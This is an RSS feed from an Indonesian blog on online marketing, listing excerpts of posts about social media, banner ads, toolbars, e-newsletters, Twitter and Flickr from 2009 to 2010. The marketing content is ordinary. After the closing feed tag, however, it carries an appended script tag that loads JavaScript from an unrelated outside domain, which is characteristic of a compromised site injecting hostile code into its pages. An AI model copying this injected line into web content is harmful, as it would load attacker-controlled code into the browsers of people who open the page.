















































































































































<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Online Integrated Marketing Communication</title>
	<atom:link href="http://e-imc.ocentrum.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://e-imc.ocentrum.com</link>
	<description>Ocentrum&#039;s Blog</description>
	<lastBuildDate>Thu, 11 Feb 2010 05:08:59 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>3 Cara Menggunakan Media Sosial untuk Dekat dengan Pelanggan</title>
		<link>http://e-imc.ocentrum.com/2010/02/10/3-cara-menggunakan-media-sosial-untuk-dekat-dengan-pelanggan/</link>
		<comments>http://e-imc.ocentrum.com/2010/02/10/3-cara-menggunakan-media-sosial-untuk-dekat-dengan-pelanggan/#comments</comments>
		<pubDate>Thu, 11 Feb 2010 04:00:36 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[social networking]]></category>
		<category><![CDATA[strategi]]></category>
		<category><![CDATA[media sosial]]></category>
		<category><![CDATA[menjaring pelanggan]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=218</guid>
		<description><![CDATA[Media sosial online, seperti Facebook atau Twitter, sangatlah efisien jika digunakan untuk lebih dekat dengan pelanggan. Anda bisa berkomunikasi dua arah dengan mereka secara lebih personal, intensif dan hemat biaya. Pesan yang ditinggal pelanggan, dapat dijawab satu-satu, tanpa harus real time (tidak seperti telepon bebas pulsa, yang memang harus tersedia dan merespons langsung), dan dapat [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2010/02/10/3-cara-menggunakan-media-sosial-untuk-dekat-dengan-pelanggan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kendala Beriklan di Jejaring Sosial</title>
		<link>http://e-imc.ocentrum.com/2009/09/30/kendala-beriklan-di-jejaring-sosial/</link>
		<comments>http://e-imc.ocentrum.com/2009/09/30/kendala-beriklan-di-jejaring-sosial/#comments</comments>
		<pubDate>Wed, 30 Sep 2009 10:44:25 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=212</guid>
		<description><![CDATA[Beriklan di jejaring sosial ternyata masih menyimpan kendala bagi agency dan marketer di Amerika. Berdasarkan jajak pendapat yang dilakukan e-marketer, kebingungan darimana untuk mulai ternyata masih menjadi kendala yang paling besar. Padahal pengguna Facebook, hingga tulisan ini dibuat (september 2009) hampir mencapai 9.7 juta dengan rata-rata pendaftar baru 70 ribu orang per hari. Apa yang [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/09/30/kendala-beriklan-di-jejaring-sosial/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rich Media Banner (seri 10 dari 10)</title>
		<link>http://e-imc.ocentrum.com/2009/08/10/rich-media-banner-seri-10-dari-10/</link>
		<comments>http://e-imc.ocentrum.com/2009/08/10/rich-media-banner-seri-10-dari-10/#comments</comments>
		<pubDate>Mon, 10 Aug 2009 06:00:40 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[Creative Marketing]]></category>
		<category><![CDATA[insight]]></category>
		<category><![CDATA[strategi]]></category>
		<category><![CDATA[banner ad]]></category>
		<category><![CDATA[rich media banner]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=202</guid>
		<description><![CDATA[Banner ad atau iklan banner adalah pendekatan yang paling diminati oleh para pemilik brand. Penyebabnya kurang lebih karena pemasangan banner adalah turunan dari iklan print/banner outdoor (non-online/non-digital). Sehingga bentuknya mudah dimengerti dan lebih mudah memperoleh justifikasi.
Rich Media Banner merupakan pengembangan dari iklan banner yang cenderung statik. Berbeda dengan banner biasa, rich media banner dapat disisipi [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/08/10/rich-media-banner-seri-10-dari-10/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Toolbar yang Sering Dilupakan (seri 9 dari 10)</title>
		<link>http://e-imc.ocentrum.com/2009/05/19/toolbar-yang-sering-dilupakan-seri-9-dari-10/</link>
		<comments>http://e-imc.ocentrum.com/2009/05/19/toolbar-yang-sering-dilupakan-seri-9-dari-10/#comments</comments>
		<pubDate>Tue, 19 May 2009 06:25:18 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[Creative Marketing]]></category>
		<category><![CDATA[insight]]></category>
		<category><![CDATA[online marketing]]></category>
		<category><![CDATA[toolbar marketing]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=195</guid>
		<description><![CDATA[Toolbar adalah salah satu media iklan online yang cukup masif dalam hal eksposur. Dia hadir di peselancar (browser seperti Internet Explorer, Mozilla Firefox, Safari, Flock, Opera dan banyak browser lainnya) setiap kali pengguna menjelajah web. Dan ikut kemanapun user pergi dengan browsernya, toolbar akan selalu tampil. Apa saja yang bisa dielaborasi dari toolbar untuk keperluan [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/05/19/toolbar-yang-sering-dilupakan-seri-9-dari-10/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Vin Diesel dengan 3 Juta Fans di Facebook</title>
		<link>http://e-imc.ocentrum.com/2009/05/14/vin-diesel-dengan-3-juta-fans-di-facebook/</link>
		<comments>http://e-imc.ocentrum.com/2009/05/14/vin-diesel-dengan-3-juta-fans-di-facebook/#comments</comments>
		<pubDate>Thu, 14 May 2009 12:40:08 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[insight]]></category>
		<category><![CDATA[social networking]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[Jejaring Sosial]]></category>
		<category><![CDATA[personal branding]]></category>
		<category><![CDATA[vin diesel]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=188</guid>
		<description><![CDATA[
Vin Diesel bukanlah jajaran artis kelas atas di Hollywood. Tapi di Facebook, ia adalah orang kedua yang memperoleh fans terbanyak, di bawah Barack Obama. Saat tulisan ini dibuat, penggemarnya mencapai 3.551.802. Tiap posting, rata-rata 5 ribuan orang menyukainya dan 6 ribuan orang memberi komentar. Apa rahasia pemain Fast and Furious ini? Apa yang bisa dipelajari [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/05/14/vin-diesel-dengan-3-juta-fans-di-facebook/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>E-Newsletter yang Intrusif (Seri 8 dari 10)</title>
		<link>http://e-imc.ocentrum.com/2009/05/12/e-newsletter-yang-intrusif-seri-8-dari-10/</link>
		<comments>http://e-imc.ocentrum.com/2009/05/12/e-newsletter-yang-intrusif-seri-8-dari-10/#comments</comments>
		<pubDate>Tue, 12 May 2009 09:50:25 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[Creative Marketing]]></category>
		<category><![CDATA[strategi]]></category>
		<category><![CDATA[e-newsletter]]></category>
		<category><![CDATA[taktik marketing]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=181</guid>
		<description><![CDATA[Pengantar: Setelah hampir satu bulan blog ini mengalami mode hiatus, kini kami kembali dengan lanjutan seri artikel strategi marketing online yang pintar.
E-Newsletter adalah salah satu alat marketing online yang paling intrusif. Jika website hanya tampil jika user membukanya, maka email akan langsung masuk ke inbox meskipun pada awalnya orang yang bersangkutan tidak menginginkannya. Bayangkan jika [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/05/12/e-newsletter-yang-intrusif-seri-8-dari-10/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Belantara Baru Media Sosial bagi Pemilik Merk</title>
		<link>http://e-imc.ocentrum.com/2009/04/02/belantara-baru-sosial-media-bagi-pemilik-merk/</link>
		<comments>http://e-imc.ocentrum.com/2009/04/02/belantara-baru-sosial-media-bagi-pemilik-merk/#comments</comments>
		<pubDate>Thu, 02 Apr 2009 11:28:18 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[social networking]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[Jejaring Sosial]]></category>
		<category><![CDATA[media plan]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=175</guid>
		<description><![CDATA[Kebangkitan media sosial online seperti friendster, facebook, twitter tentu tak lepas dari pantauan pemilik merk. Mereka sangat peduli, namun memanfatkannya dengan pendekatan konvensional. Cukup pasang banner atau iklan. Pada saat ingin mengelaborasi secara penuh, ada semacam kebingungan tentang bagaimana media sosial itu bisa cocok dengan marketing sebuah merk.
Menurut Tom Smith dari Trendstream.net ada beberapa hal [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/04/02/belantara-baru-sosial-media-bagi-pemilik-merk/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>MicroSite &#8211; menghadirkan experience (seri 7 dari 10)</title>
		<link>http://e-imc.ocentrum.com/2009/03/31/microsite-menghadirkan-experience-seri-7-dari-10/</link>
		<comments>http://e-imc.ocentrum.com/2009/03/31/microsite-menghadirkan-experience-seri-7-dari-10/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 11:59:56 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[Creative Marketing]]></category>
		<category><![CDATA[strategi]]></category>
		<category><![CDATA[insight]]></category>
		<category><![CDATA[online marketing]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=163</guid>
		<description><![CDATA[Banyak brand di Indonesia yang menggunakan microsite digabungkan dengan viral marketing(pesan berantai) sebagai media untuk kampanye online. Microsite adalah semacam website mini, yang hanya berisi beberapa halaman. Biasanya dibuat penuh dengan flash/animasi, banner promo dan antarmuka yang menyolok. Lebih lengkap lagi jika disertai permainan atau kuis berhadiah. Rata-rata microsite dibuat untuk kampanye dalam jangka waktu [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/03/31/microsite-menghadirkan-experience-seri-7-dari-10/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Pamer Foto di Flickr (seri 6 dari 10)</title>
		<link>http://e-imc.ocentrum.com/2009/03/27/pamer-foto-di-flickr-seri-6-dari-10/</link>
		<comments>http://e-imc.ocentrum.com/2009/03/27/pamer-foto-di-flickr-seri-6-dari-10/#comments</comments>
		<pubDate>Fri, 27 Mar 2009 12:18:13 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[Creative Marketing]]></category>
		<category><![CDATA[insight]]></category>
		<category><![CDATA[strategi]]></category>
		<category><![CDATA[flickr]]></category>
		<category><![CDATA[IMC strategy]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=155</guid>
		<description><![CDATA[Jika video sudah dimanfaatkan BlendTec untuk promosi blendernya, maka Flickr juga bisa dimanfaatkan sebagai media marketing. Buat yang belum tahu, Flickr adalah satu situs yang dimiliki oleh Yahoo untuk berbagi foto. Anda dapat menggunakan layanan Flickr secara gratis, cukup mendaftarkan account yahoo. Meskipun demikian, ada pilihan untuk pro, yang mengangkat batasan jika ingin mengupload foto [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/03/27/pamer-foto-di-flickr-seri-6-dari-10/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cit cit cuit.. Dengan Twitter (seri 5 dari 10)</title>
		<link>http://e-imc.ocentrum.com/2009/03/24/cit-cit-cuit-dengan-twitter-seri-5-dari-10/</link>
		<comments>http://e-imc.ocentrum.com/2009/03/24/cit-cit-cuit-dengan-twitter-seri-5-dari-10/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 11:08:58 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[Creative Marketing]]></category>
		<category><![CDATA[social networking]]></category>
		<category><![CDATA[Jejaring Sosial]]></category>
		<category><![CDATA[online public relation]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=139</guid>
		<description><![CDATA[Belum banyak yang mengenal Twitter di Indonesia. Di tulisan sebelumnya, telah saya sampaikan tips bagaimana menggunakan Twitter untuk kepentingan marketing. Di sini, kita akan paparkan sedikit angka-angka dan layanan di seputar Twitter. Dan artikel akan ditutup dengan beberapa contoh kasus bagaimana twitter di gunakan merk-merk besar, dan apa komentar mereka terhadap efektifitasnya.
Twitter didirikan oleh Jack [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/03/24/cit-cit-cuit-dengan-twitter-seri-5-dari-10/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>